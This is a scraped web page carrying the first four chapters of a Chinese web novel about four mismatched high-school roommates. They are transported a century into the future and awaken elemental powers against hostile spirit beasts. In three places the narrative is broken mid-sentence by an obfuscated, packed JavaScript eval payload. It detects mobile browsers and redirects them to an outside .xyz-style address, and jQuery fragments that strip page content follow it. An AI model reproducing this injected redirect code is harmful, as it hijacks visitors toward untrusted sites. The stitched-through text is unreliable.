《末日学园》 1. 室友 [如果有一天,你知道了世界灭亡的时间,你会选择怎么做?] 是夜,凌晨一点。 向阳中学女生宿舍楼,二楼的灯光依旧未熄,寂静和黑暗偏偏蔓延,泡面头宿管满脸堆笑地拉上宿舍门,转头就变了一副神情,低头问身边的女人:“我看不如给她们换了……?” “明天再说吧,”班主任李青按揉着眉心,低声说:“这两个孩子,都是要特殊关照的,有什么变动得往上申请,咱们没权限管。” 她面色发苦,回想起今天大闹一场的两个女生:“今晚辛苦你多关注一点,还有两个学生,实在是没空位。要是她们还闹,你不行让她俩住你那。” 刚从精神病出院的患者,被起诉故意伤害差点坐牢的少年犯…… ……另两个无辜学生明天可一定要活着出来啊! 与此同时,无辜学生许延光握着门把手,挑了挑眉。刚才班主任往她手里塞了个纸条? 她正要低下头看,突然听身后传来一声巨响,熟悉的嘲讽声传来:“和你们这群垃圾待在一起,我还不如去卫生间待着。” 延光回头,把纸条塞进兜里,扫视整个宿舍。上床下桌、中间夹梯柜的四人间格局,此时本该好好摆放在靠阳台右侧的板凳被一脚踹翻,精致漂亮得犹如洋娃娃一般的少女徐宁扬着下巴,用力压下卫生间把手,嘭一声摔上了门。 开学当天,延光从不识好歹的东西升级为恐怖学生中的无辜npc,这次又体验了一把污染空气的垃圾身份,实在忙碌。 她不介意更忙碌些,无视临床另一个当事人寒洲,走向缩在板凳上不知所措的木英,若无其事地问她:“东西收拾好了没,洗漱一下睡吧,明天还要领书。咱俩一块接热水去。” 木英仰起头,眼里浮现出亮晶晶的感激与依赖。她点头,从书桌上翻出了水卡,两人提着水壶准备出门,延光卡门锁时回头望了一眼,寒洲面无表情地对着镜子发呆,不知道是在看什么。 这才一天时间。 怎么就闹成这样了? *** 延光本来是很期待室友的。 九月开学,天气又有些返热。这是一个认识新朋友的绝佳机会,延光早早就报了住校,提前两天报到。 从车上下来的时候一切还很美好,她叼着面包,左手一个行李箱,右手一个大背包,又从后备箱提下几袋鞋盒,唔唔两声对司机道了谢。等车开走了,她站在路边,空出手将面包囫囵啃完,用力拍拍胸脯顺气,然后手背弓起,抵在额头上观察校园环境。 宽敞学校,真好!漂亮宿舍,真好!新的同学,真好! 延光观察完环境,拎起大包小包的行李,一晃一晃地走进大门。 来往学生身侧都跟着几个大人,延光一边晃,一边顺着指示牌看自己的宿舍和班级。 她踩着脚下的箭头,哼着轻快的歌,边走,边饶有兴致地打量着这所陌生的学校,来来往往都是朝气蓬勃的新生,咕噜噜的车轮滚动声不绝于耳,在嘈杂的人声中独一份的特殊。 “滴——” 身后传来刺耳的鸣笛,延光下意识侧身躲避,只见一辆黑色的小汽车打头,缓慢开了进来,在拥挤的人群中蠕动。 好不容易开过去后一看,得,后头还跟着两辆呢。 哇,谁这么大阵仗。 延光看着新鲜,想想自己挤破头也没能挤上公交车,只得一边心头滴血,一边斥巨资打车的经历,不由得唏嘘晃头。 等好不容易到了宿舍门口,宿管阿姨在大厅摆了张桌子,被学生和家长围得水泄不通,只能在缝隙中隐约看到一个头顶,和立在边上被踹歪了的“请有序排队”牌子。 延光把东西暂且放在角落,探头挤在人群中,看到了属于自己楼层的桌子,摸着良心和兜里的通知书,站在那一列乖巧排队。 前面的学生一个一个散去,延光展开折成小片的通知书递给阿姨,拿起笔正要签字,忽然听到周围的喧嚣声莫名高涨片刻后一静。 她下意识抬头,只见门口的众人不约而同地散开,露出一条小道来,四个黑衣男人和两个拎着包的女子分别在两侧,簇拥着站在最中央的少女。 和周围这些灰头土脸的学生与家长相比,少女简直像是来走红毯的女星。 她身形高挑纤细,皮肤白皙得耀眼。一副镶金边的太阳墨镜遮去了她大半张脸,她嘴角一勾,轻轻瞥过延光的方向,抱起双臂,扬了扬下巴,问:“213宿舍在哪拿钥匙?” 延光有被她惊艳到,闻言下意识看了一眼手中的登记表,“额……我这?” 原来是室友! 少女略微仰起头,哦了一声,满不在乎地越过她,轻飘飘道:“谢了。” 延光眼睁睁地看着她从自己身边走过去,身后几个男人各自拎着东西跟上,最后一个男人则停下来,冲她伸出手。 她一顿,登记表递了出去,男人低下头,拿起笔唰唰写下两个字—— 徐宁。 直到最后人都走尽了,大厅里又响起了窸窸窣窣的讨论声,延光才收回视线。 “没事没事,继续登记。” 几个阿姨高声维持了下秩序。 延光赶忙回头签好字,拿了钥匙,回头去拿了行李,吭哧吭哧上了二楼。 宿舍在最右侧中间一些的位置,她上去的时候,门口还站着一个男人,三四个行李箱摆在外面,隐隐传来对峙的声音。 许多房间都大开着门,还有人探头探脑,只偷偷看一眼就缩回去,延光神色坦然,大步走了过去。 此时已经来了两个室友,靠近阳台的两张床都已经铺好,挂上了床帘。延光刚看了一眼,就被门口的男人止住:“喂,别瞎看热闹。” 延光:“我住这里。” 名为徐宁的少女闻言回头,她卸下了墨镜,五官精致白皙,更像个漂亮的洋娃娃。她语气随意,“是一个宿舍的,就让她进来吧。” 话一出口,她对面的少女就冷冷嗤笑出声:“不知道的还以为宿舍是你的早朝,跑来当皇帝了。” “李寒洲!”徐宁炸了毛,回头怒道:“你别给脸不要脸啊!要不是我妈非要我来住校,谁稀罕跟你一个宿舍!” 寒洲冷冷呵了一声,拿起桌上的小包,越过她走出宿舍:“不用你稀罕,我也不想和你这种人待在一起。” 徐宁气得跳脚:“你以为你是什么东西——” 延光迅速避让,目光落在角落里的小姑娘身上,两人对视一眼,皆是不知造了什么孽的无言。 徐宁气鼓鼓站在原地,不知道在想什么,一跺脚也跟着跑出去了,留下几个男人习以为常地拉开箱子,拿起扫把,抽出湿巾,细细地从栏杆开始擦拭。 其中一人回头看向延光,指着靠门左侧的床,问:“你住这里可以吗?” 延光对此无所谓:“都行。” 他点头,就要伸手去接行李:“我来。” 延光迅速缩手:“不必了!我自己的东西我自己搞!” 那人瘫着一张脸,面无表情道:“我们小姐对环境的要求高,不满意还要重铺。” 延光:“……” 她没吭声,对方就当做默认了,其中一个女子伸手去接她的行李,还问她:“哪些是贴身衣服,我来收拾。” 延光只觉得啼笑皆非,不想开学第一天就和室友闹矛盾,就远程指挥一番,余光瞥见坐在椅子上的少女神情不安地低头抠着手指,又道:“那位同学,我们就不在这碍事了,出来认识一下呗。” 少女愣了一下,抬头,眼睛里亮起惊喜的光。她低低应了一声,拾起桌上的手包,迈着小碎步走到延光面前。 延光也去拿了自己的包,她的手机和身份证都在里面,一会还要去领校园卡。 少女低着头跟她出来,小声道:“我叫木英,你好。” 这是个很腼腆的姑娘,肤色有阳光留下的痕迹,五官端正,眉目秀丽,圆溜溜的眼睛清澈干净,说话时,会有些不好意思地移开视线,嘴角上扬,很乖的样子。 延光弯了弯眼睛,主动挽起她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427628|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手道:“我是许延光,你好。刚好有人帮我们打扫卫生,一起去超市买点东西吗?” 她感觉到木英的手下意识僵了一下,然后犹犹豫豫地勾住她的手,不好意思地侧过头,道:“嗯……好。我还没买肥皂呢。” … 延光和木英相处得很融洽,一起将校园逛了一遍,拎了几大袋生活物品,一个比划,一个静静看着她听。 延光两只手都挂着袋子,踩着路沿,倒退着晃悠双臂,像一棵活泼过分的柔软水草。 木英走在她身侧,默默听她说话,被逗得高兴了,就偏过头闷闷地笑。 延光也很多年没遇到过这么捧场的观众了,说到激动处,直接把塑料袋往肩膀上一挎,正要和她讲讲自己勇闯公交车站的事,忽然见木英脸色一变,伸手将她揽过来。 她下意识回头,只见方才和徐宁吵过架的寒洲抱着什么东西面无表情地站在她身后,仔细一看,是一面镜子。 延光:“……” 寒洲轻飘飘瞥她一眼,依旧没什么表情,好像不认识她们一样,转身走开。 延光颇有些遗憾郁闷,“……” 长的这么可爱,性格却这么傲。 只凭第一眼印象,延光对室友们都很有好感。寒洲是鹅蛋脸,大眼睛,整体面容都像是一只幼犬,如果笑起来,应该会更像,只可惜她那睥睨冷漠的眼神完全淡化了这种幼嫩感。 延光回神,拍拍木英的手臂,“刚才谢谢你啊,差点撞到人家,也没来得及说声对不起。” 木英这才意识到她几乎是完全搂住了延光的腰,被烫到一般收回手,诺诺道:“没,没事。” 她低着头,表情有些纠结,嗫嚅两声,还是没忍住低声道:“她们……都不太好相处。” 大概是第一次说这种话,木英紧张地抠着塑料袋绳,耳朵红了一片。 延光偏头看她,忍俊不禁:“其实我也觉得刚才那大小姐脾气有点直,不过每个人性格不一样嘛,刚认识都难免的。我们是室友,以后有什么事需要帮忙,你就来找我。” 木英轻轻应声,两人相携走上楼梯。 推开门,宿舍已经被打扫得一尘不染,不大的空间里,徐宁竟然也有地方塞下一个吊椅,她躺在塞满抱枕娃娃的椅子上晃晃悠悠。 还没等进来的两人开口,就见坐在她斜对面的寒洲,突然发难:“开学就算了,以后禁止把陌生人带进宿舍。” “你管我。”徐宁不屑翻了个白眼,又看向延光:“喂,你们俩,愿意吗?是照顾我长大的阿姨,不是外人,她每天来,还能给你们送点好东西。” 延光语气坦然:“既然你征求我的意见,谢谢,只是我拒绝。宿舍是我们四个人的空间,如果你喜欢干净,我们可以尽力维持,轮流打扫。也希望你尊重我们,留给我们该有的私人空间。” 徐宁听她语气温和,一时都没反应过来是被拒绝了,“你……” 她气结,用力将手中的娃娃扔到一边,压低声音骂道:“不识好歹的东西!” 延光自然听到了,却也并不放在心上。 车到山前必有路,再难处的关系都会有个尽头。 但她没想到这尽头来得也太快了。 徐宁和寒洲没撑到夜里就大吵一架,闹了一晚上的换宿舍,但因时间太晚和没有空位而短暂偃旗息鼓。 延光洗漱完准备关灯上床,习惯性问了一句:“还有没上床的吗,我要关灯了。” 寒洲没有应声,但起身走向了床。 木英放下牙缸,指着身后的门弱弱说:“那个,那个徐宁好像……” 延光脚步一顿,扭头看向亮着灯的卫生间。 徐宁还没出来? “徐宁?” 她打开了卫生间的门。 一眼就能看到全部的小空间里空无一人,五团明亮的光圈排成圆形打着转,在她推门进来时一滞。 延光罕见地愣住了,就在下一刻,光团加速,明亮的光犹如浪潮般漫了上来,转瞬填满整个房间。 2. 队友 [如果世界毁灭,你们最想做什么?] 此时,213宿舍四个人围成一个圆相对而坐,周围是看不到边际的荒凉沙漠,身下是刻着神秘符文的五边形大理石小台。她们面面相觑,表情一个赛一个的难以言喻。 在她们每个人面前,都有一个晶莹剔透的手镯,散发着淡淡光晕,神秘而危险。 陌生的声音已经将同样的话循环了很久,现在还在继续:“……你们会是最默契的战友,永远不离不弃的伙伴。拿起你们面前的御灵手环,觉醒你们的力量吧。” 徐宁呵呵两声:“我还是觉得世界毁灭更有建设性一点。” 陌生声音完全不顾她们的死活,又一次从开头循环:“亲爱的人类战士,你们好。现在是一百年后的蓝星,这个时候,人类已经全部灭绝,仅剩部分获得机遇的动物成为了灵兽幸存,但蓝星能源枯竭……” 寒洲终于忍不住了:“它不会要一直说到我们答应为止吧?” 延光掰着手指头算了算,“一,二,三……这是第六遍了吧,这东西还挺有意思,复读机成精?” 徐宁脸色铁青:“这不是恶心人嘛……靠,我就不答应它能把我怎么地!?” 她心情不好,看谁都不爽,斜眼瞥向延光,小声嘀咕:“你倒是淡定,不知道的还以为你们是一伙的呢……” 寒洲立刻冷嘲热讽地接上:“你别忘了,是谁先来的。我们为什么会来到这,你问问自己不最清楚吗?” 两个暴脾气对上简直就是天雷勾地火,徐宁顿时怒了,下意识就要抓起手边的东西砸她,一看面前只有那个来历不明还会发光的镯子,这才停下手,嘴上却不饶人:“你也搞清楚,就凭你们三个,要不是……要不是我倒霉,你们连我的司机都没资格见,OK?” 寒洲呵呵:“就您这副尊容,求我去动物园看,都要倒贴我钱。” 徐宁怒火中烧:“你!” 木英正好夹在她们中间,吓得脸色全白,求助的目光乱飘,后落在一脸淡定的延光身上。 延光没有注意到,此时她全部的关注都在那几个手镯上。 她见过很多种宝石,眼前的这几个不像是常见的宝石种类中任何一种,更像是将火焰、海洋……这些具象的东西关进了玻璃罩里,又或者说,是透过“它”看到另一个世界。 延光伸出手,心中有了初步决断。 这声音一直在循环却没有任何动静,代表背后可能有的恶意无法行动,至少现在做不出什么; 要求她们拿起手镯激发力量,很可能是陷阱,但也可能是背后对她们善意、恶意两股势力正在纠缠,难分胜负。否则,能将她们带来这里,为什么不省点力气直接达成自己目的,比如杀了她们,或者现身指引她们。 不管是什么,总要去尝试,才会有下一步。 延光的手指碰上火红手环,感受到温润如玉的触感。其他人也不吵了,屏住呼吸满脸紧张地看着她的动作。 一秒、两秒……没有什么反应,延光眉头皱了下,正要将它拿起来查看,就见手环下,刻满神秘符文的大理石台面突然钻出几条裂纹。她本能抽回手,抬头正要说话,只见周围的土地表面覆盖了一层薄薄的棕色光晕,莫名给人一种不详的感觉。 延光一顿,立刻道:“不对劲,拿手镯,我们……” “小心!”话音未落,只听咔嚓一声脆响,延光瞥见徐宁身下的裂纹,想也不想猛地一扑,将徐宁一把拽倒。 两人在巨大的惯性下猛地翻滚,直接滚下了半米高的小台。 场面顿时混乱起来。 就在她们之前坐的地方,有一根巨大的石刺扎了上来。要不是寒洲在两人站起来的瞬间就地一滚,一下撞开了木英,这个反应有点迟钝的姑娘只怕就要被刺个对穿。 寒洲拉起木英推到一边,弯腰去捡滚到身边的蓝色手环,“等等,拿手镯……!” 地面在不断晃动,延光眼疾手快拖着徐宁躲开,不敢多停留,急忙喊道:“一直跑,别停,这东西好像是活的!” 果然,话音刚落,三根石刺咻咻咻从延光跑过的地方窜出来,这下哪还有功夫去找什么手镯,反应过来便纷纷逃命。 木英站不稳,连滚带爬、毫无目的地支起身子站起来,回头还想找寒洲,却见一根巨大的石刺几乎是贴着她的脸窜了出来,顿时一声尖叫。 也就是这一停顿,祭台上越长越高的石刺轰然炸开! 碎石乱飞,巨响炸得几人耳边嗡鸣,然而最清晰的却是叮铃一声脆响,像是水晶开裂,延光不由自主回头看,只见三道光像流星倒流,飞速滑向天边去了。 但地下还在不断生出石刺,她们必须逃命。 几人疯狂逃窜,很快就几近精疲力尽,喘气声此起彼伏,无头苍蝇一样到处乱窜。 视野完全是乱的,已经是哪里能走就冲向那里了。极端惊恐下,木英最先力竭,噗通摔滚在地上,延光心中一紧,立刻扭头去拉她,然而距离太远,眼看着木英身下已经出现了代表石刺的裂痕! 嘭——! 预想中的血腥画面并没有出现,一道白影迅速掠过,石刺长出时,木英已经消失在了原地。 “快上来!” 慌乱时的思维难免被牵着走,徐宁一头扎了上去,延光顿了下也手脚并用往上爬。她回头看,石刺已经生成了一丛丛的巨石森林:“我们还有个同伴……” 但混乱范围越扩越大,下一刻,一根石刺猛地突破地面穿上来。顿时,一口气噎住心口,延光说不出话来,而白影也忙于躲避越来越密集的攻击,疾风一般窜了出去。 噎在心口的气顺下去后,延光才发现救了她们的是一只巨大的虎,室友们都一副魂飞天外的呆滞神情,她想说点什么,嗓子干疼得厉害,吸了口风就闭上嘴了。在柔软的皮毛上颠簸许久,它缓缓停下,走近一个洞穴,在门口踱步片刻,似乎确认了什么,转身走进深处。 在焦黑的柴堆前停下,虎张口吐出一口气,落下的瞬间火焰燃起,照亮了大半个洞穴。 它卧下,也不催促,任由几人惊魂未定地趴在它背上喘气。 心脏咚咚咚敲得胸膛生疼,延光用力闭了下眼睛,正要开口,就有另一道声音抢在她前面问:“这是哪,你带我们来这干什么,你谁啊?” 虎沉沉叹了口气,问:“你们有没有拿到御灵手环?” 延光看向问话的徐宁,她眉头皱了下,“你说那个成色不好的水晶镯子?” 虎斜了斜眼睛,最后只沉沉叹气,说:“我来晚了……我现在与你们说明一切,下来,我们的时间不多。” 延光从它的语气中听出紧迫感,立刻跳下来,徐宁紧随其后。回过头拉拉魂飞天外的木英,延光又问道:“我们还有个室友没跟上,怎么办……?” 徐宁仿佛这才意识到寒洲不在了,面色一变,“我靠,她没跟上啊?” 那、那独自留在外面的寒洲…… 还能活吗? 虎扫视过她们,道:“时间有限,没工夫管她了。如果水属性战士确认死亡,你们可以找下一个水战士,重新收集水元素。” 徐宁登时大怒,急道:“这是重点吗!?等等……水什么?” “元素,”它眼神微动,加快了语速:“元素力量是蓝星的本元力量,只是天灾后逐渐枯竭了。现在是你们时间里的一百年后,天灾已经发生十年,人类全部灭绝,只有部分动物依靠元素亲和进化成灵兽,如果不想法激活五元素核心,迟早有一天,灵兽也会彻底消亡……咳。我们试过很多办法,依旧无法与元素核心建立关系,只能选择没有经受天灾污染的生物。百年前拥有智慧的,只有人类,你们是经过领主挑选,元素亲和力最强的……” 徐宁忍了又忍,还是打断道:“那个我们有什么关系?一百年后我们骨灰都能种树了,急那个做什么,你怎么不找时间更近一点的?” 她的脸色抑制不住的难看——这事本来也影响不到她们,她死后哪管别人怎么活?但现在就为了百年后发生的事,她们要面临生死威胁。 寒洲已经生死未卜,谁知道下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427629|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个是不是自己! 好好活着能寿终正寝,脑残了跑去拯救世界享年十五,傻子才做这亏本生意。 延光努力消化着这些信息量,见徐宁暴起,眼神一转,话到嘴边变成了婉拒:“我们可能能力不太够。” 木英倒是挺感兴趣,但见室友们都这样说,又想起落单的寒洲,顿时打起退堂鼓:“这个……我们还要上学呢……” 虎倒是好脾气,听她们一个个说完,点头道:“我理解你们的迟疑,但请先听我解释。人类灭绝并不止是一夜导致的,元素衰退就是从你们那段时间节点开始,不知你们有没有察觉,人心浮躁、气候多变、世界动荡……都与本源力量的衰退有关。我们救世,也是为了族群延续,但灵兽很多都怨恨人类,宁愿灭绝也不支持合作。选中你们的是深海领主鲸云,它掌握了水与空间的元素,是世上最强大的灵兽,因此才能在反对中继续计划,制作出可以激发生物天赋亲和力的御灵手环……在链接你们的时间时,灵兽族群发生了叛乱。” 它又低低咳了几声,延光三人才发现,这只体型巨大的虎似乎受了伤,声音轻弱,中气不足,此刻身体更是一副命不久矣的样子。 但动物会说话确实有点冲击心灵,而且这只虎大得超乎常识,她们此前都没有很在意。 木英下意识伸手摸摸它:“你还好吧……?” 虎摇头,语速更快:“时间有限。鲸云被这十年来我们从未见过的灵兽黑乌云暗算,已经不在了。短短一年时间,它已经聚齐了很多手下。土元素战士很可能已经遇难,御灵手环下落不明,就算你们不愿意成为战士,也逃不过追杀,而且我们猜测,黑乌云的目的不止是杀你们,还有……提前末世。” “什么意思?”徐宁立刻问:“不想参与都没用,还追着杀是吗?” “已经对立,当然斩尽杀绝。”虎边说边往前几步,后背对向她们,紧紧盯着洞口的一切动静:“你们刚才就是被算计了,另一位指引灵兽已经被抓,但链接阵法早就开启,只有在我去之前,让你们产生怀疑不敢碰,才能找到机会摧毁御灵手环。没有在正确法阵中契约,就算手镯没有坏也会留有隐患,何况很可能已经毁坏了。” 木英被那句提前末世搞得心情不宁,目光飘着看一眼徐宁,又看看延光,见两人都没什么反应,手心急得冒汗,见虎要往洞口的方向去了,急忙道:“请等一下!” 虎回头,眼神仿佛意料之中,温和道:“木属性战士,还有什么想问的吗?” 木英被注视着,声音不由得小了起来:“那个,对、对不起,打扰、抱歉,我是想问,提前末世是什么意思?” 虎道:“它们认为,现在元素衰竭不过是因为人类多存活了几十年,如果让你们提前灭绝,元素核心未必会衰弱。很多灵兽都支持这个说法,并且希望天灾提前到来。” 徐宁冷笑:“那它们知不知道,也许脆弱的祖宗会死的更早,让它们连出生的资格都没有?” 虎:“知道,但宁愿死。” 徐宁一怔,眉头皱起来,不说话了。 它便接着淡淡道:“有了智慧就有了情绪,这很正常,不用再提。” 地面微微晃动起来,仿佛有什么越靠越近,它急匆匆往外看了一眼,加快语速:“它们来了,我出去将它们引走,等安静下来,你们立刻出发去找御灵手环。坏了也没关系,只要建立联系链接,就能激发你们本身的力量,再寻找机会重新修补。” 虎庞大的身躯堵在洞口,一时好像所有风雨都无法挤进这片小小的天地。它回过头,眼神一恍,似乎想起了什么,目光柔和下来:“勇敢的战士们,蓝星就拜托你们了。很抱歉,时间仓促,很多东西需要你们自己摸索,但是……我叫掠风,是东江市花雨动物园C区的动物,死在3041年9月3日深夜,如果你们回去,能不能……” 不等它说完,刺耳的尖啸险些掀翻这狭窄的洞窟。掠风眼神一厉,垂首吐出一口火,火焰瞬间形成一道气势汹汹的火墙。随后,掠风毫不犹豫地转身,冲进看不清的前路中。 3. 石柱迷宫 在掠风走后的半个小时里,延光将洞窟上下摸索了透,领着两个室友探头探脑走出去。 她在洞窟里找到了一些痕迹,暂时确定了掠风的可信性,那么现在当务之急,就是觉醒她们的力量,握在手中的力量总是不会有错的。 三人贴着墙壁边打量边往出探,走出洞窟的范围,徐宁扯了下延光的衣角:“喂,你别闷头往前冲啊,我们去哪?” 延光抓住她的手,小声说:“我记得路,我们回去找手环,最好能找到寒洲。” “李寒洲她还能活……”徐宁顿了顿,硬咽了回去,又半信半疑地嘟囔:“那种情况下你还记得路?” 延光转过身子,示意她拉住:“以前旅游多,记性好。跟我走。” 一路走过去,三人只觉得这里荒凉到没有尽头,脚下的路不像土也不像水泥、柏油,而是一片毫无生机的空白。踩在上面看不见影子,总有种随时会坠落的不安全感。 胆战心惊地暴露在空地下加速行进了一段时间,三人喘着气跑进巨石废墟中,有了遮挡,心中总算安定一些,延光循着记忆冲进去,停下四处看看,没有看见寒洲,也没看见血。 “别、别找她了,”徐宁喘着粗气,“赶紧找手环,这鬼地方我一秒都不想多待。” 在这种地方没有力量始终让人不安,延光并不坚持,回想起当时的祭台方向,三人冲上前狠命一顿扒拉,总算在废墟里找到了各自的手环。 只是现在看上去都多了一条条裂痕。 “我先试试,别急。”延光按了下徐宁迫不及待的手臂,垂眸将手环套进手腕,手环立刻缩紧,木英与徐宁都吓了一跳。 皮肤与手环贴合的瞬间,火光立刻炸开,深红火焰在她身上若隐若现,灼热的刺痛扎进全身血管,延光咬牙弓下腰就地一滚,远离两个室友。 木英受到惊吓,本能就要扑上去,徐宁赶紧抓住她一条手臂:“你上去找死吗?动动脑子,想办法啊!” 她们都紧紧抓着那条手环,不敢戴也不敢放下。徐宁转了一圈,干脆从地上刨土往延光身上泼,刚挖没几下,地面又开始震动。 她和木英对视一眼,脸色发白。这是显而易见的陷阱,延光刚套上手环,挣扎着失去体力时就开始了,可想而知,如果她们三个同时戴上,与直接送人头无异。 石柱缓缓移动,道路被收得越来越窄,恐惧与绝望之际,只听“哗啦”一声,从天而降的冰水将她们浇了个透。 猛地抬头,只见寒洲居高临下地站在石柱上,对视的瞬间一跃而下,落在她们身侧,二话不说一手一个抓起木英和徐宁,“跟我来。” 寒洲说着就要拉她们往出跑,徐宁疯狂甩手,不愿意跟上,“你谁啊?干什么?没见这里还有个人吗!?” 寒洲一顿,低头看一眼延光,“现在不会有事,去给你们觉醒。” 徐宁一愣,身体放松下来。 七拐八拐跑了一段的迷宫,石柱已经开始拥挤,徐宁别扭地用两手撑住两边石壁:“这是要把我们做成三明治吗?” 寒洲不冷不热地回:“这个力度,肉酱更合适。” 她说着左右踩着石壁攀上去,露出前面的道路,点点两人的头顶:“低头,找到对应你们的阵法,滴血在上面。” 木英立刻蹲下去摸索已经模糊的纹路,徐宁看看她,惊恐抬头:“滴血?这有针吗?有、有碘伏吗?我怕疼啊!” 寒洲:“你喜欢吃肉酱吗?” 徐宁:“……” 她也蹲了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427630|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刻印的纹路在石柱的磨损下愈发模糊,又僵持着散发出淡淡光晕,仿佛在等待什么。 徐宁找到属于自己的印记,一狠心对着手指咬下去,指尖出现深深的齿痕,但并没有见血。她眼眶一红,哼哼唧唧闷着发脾气。 木英更能忍疼一些,手指都破了皮,愣是没见血。 寒洲观察过上方的情况,一低头,两人都红着眼眶闷声啃手指。 “……接住。”她叫两人抬头,扔了两根冰针。 血液滴下的瞬间,两人已经被挤得移动都困难了。木英身体更丰腴些,挤得难受了,扒着墙壁直喘气:“怎么办,我们都这样了,延光她……” 寒洲咬牙收了收腿,指挥道:“徐宁,炸开这根柱子。” 徐宁感受着体内充盈的力量,早就蠢蠢欲动,不用她说,自己就开始用拳头砸石柱,越砸越来气,手脚并用开始又打又踹,啪啪啪打得响亮,却毫无动静。木英见她都要上牙咬了,忍不住劝道:“你先冷……” ‘轰’地一声,徐宁的掌心突然发出灿金色光芒,皮肤贴合的石壁直接炸开,冲击力被水幕包裹,落在她们身上时只剩柔和的细雨。 面前空出一大片,挤压也骤然停止。两人惊魂未定,坐在地上面面相觑,又一齐扭头看向寒洲。 寒洲的脸色丝毫没有因为局势的变化而好转,她沉着脸,看向碎石一块一块拼起来,扭扭腰,露出一双眼睛,像是将人的眼睛撕下来硬贴上去一般。 她咬了咬牙,面上露出滔天恨意,寒气寸寸结冰:“果然是你。” 石人张开碎石拼凑的嘴,咔咔笑道:“哎呀,水战士,怎么还有一个你,那年没有死绝吗?” 话音刚落,一道道锋利的碎冰就直直冲它刺去! 4. 石人河 寒洲疯得很突然,是完全失去理智的狂轰乱炸,碎冰乱飞,寒气弥漫,视线很快就被遮挡。徐宁过了最初的震惊后,伸手拽拽木英,冲她打手势。 管她发什么羊癫疯,能制住敌人,给她们逃跑的机会就行。 木英也正有此意。 她们贴着墙壁小心翼翼地往出挪,回到原地时却已经不见延光踪影,顿时心中一凉。 这是烧化了还是被挤扁了啊!? 前有狼后有虎,她们连新手教程都没过完就要打BOSS,对着轰隆隆摇晃的地面皆是一脸菜色。 徐宁打算拼了。刚觉醒的力量犹如新长出来的肢体,她不甚熟练地用手去感受,像一把失灵的枪,金光一股一股往出冒。有人领头,木英看着她,立刻也手忙脚乱地开始尝试。 藤蔓无声无息钻破地面,疾风骤起,配合着金光一拥而上,大部分石柱被炸了个稀碎。 爆炸范围很广,在场的人全部被波及,掀飞出去十多米。主人自己也没想到会造成这么大的威力,在地上滚了几圈,脑袋嗡嗡嗡半晌才逐渐恢复清明。 徐宁刚能睁开眼睛就踉跄站起来,一边脑袋嗡嗡,一边抬起手感应力量,灿金色光芒忽明忽暗,眼看就要落在碎成几瓣的石人身上,忽听一声刺耳的嗡鸣,一道疾风掠过,金光落到了别处。 徐宁眯起眼睛仔细看,脸色顿时就绿了:“好大的蚊子!” 来者微妙地顿了下:“是蜻蜓,好没礼貌!” 巨大的透明羽翼,发光的复眼,细长黑亮的身子,果真是只比人高的蜻蜓。它的口器微微翕动,说:“我是你们的指引灵兽,快跟我来,你们的同伴在我这里。” 徐宁晃了晃脑袋,感觉清醒多了,伸手一把拉起木英,道:“指引灵兽?你早干嘛去了,再来晚点你就该下黄泉指引我们了。” 蜻蜓:“……现在灵兽有大半都追随黑乌云,我跟掠风也得躲躲藏藏。不多说了,快跟我走。” 徐宁性子急,实在忍不了再三的狼狈逃窜,一手叉腰,指着石人就道:“等我碾碎它再说。” 蜻蜓急了:“它已经死了,别浪费时间,我们还要要紧事。” 这时蹲在寒洲身边查看完情况的木英开口,她盯着蜻蜓,神情认真:“什么要紧事,是被追杀吗?掠风就是因为追杀离开的。” 但石人就在这里,她们还需要躲什么?如果还有旁的势力暗中窥伺,为什么不现身?躲到哪里才是个头呢? 徐宁又不傻,看着蜻蜓愣住,二话不说投出一枚金色的光弹,这下蜻蜓也顾不上解释,翅翼一振,俯冲而下挡在石人面前,半透明的翅翼反射出一种坚硬的、琉璃般的质感,将这道光反弹而出,落在一边,‘轰隆’炸出了一个巨大的坑洞。 气氛顿时凝滞。 被一言不发凝视着的感觉,无论对哪个生物来说都很恐怖。蜻蜓颤抖着翅膀,想解释什么,突然,一道半透明的冰棱刺穿它的头部,直直插了出去。 一道身影在它身后缓缓站直。 徐宁反应过来,猛地冲上前推她:“你疯了!许延光被它带走了,你现在杀了它,我们上哪找人!” 寒洲被推得趔趄,空洞的眼神微微聚焦:“哦?她如果死了,没必要找;如果没死,自己就会回来,你激动什么。” 徐宁气得发狂,一脚踹上她的小腿:“你是人吗?你有没有一点人性?!” 寒洲不耐烦地皱起眉,就在这时,身侧传来了一道几近刺耳的悲鸣,尖锐地哭嚎起来:“你干了什么?你干了什么?” 石人零零散散拼凑起来,那双浑浊阴森的眼睛几乎要跳出来,刺耳的声波如有实质,震得人头晕眼花。 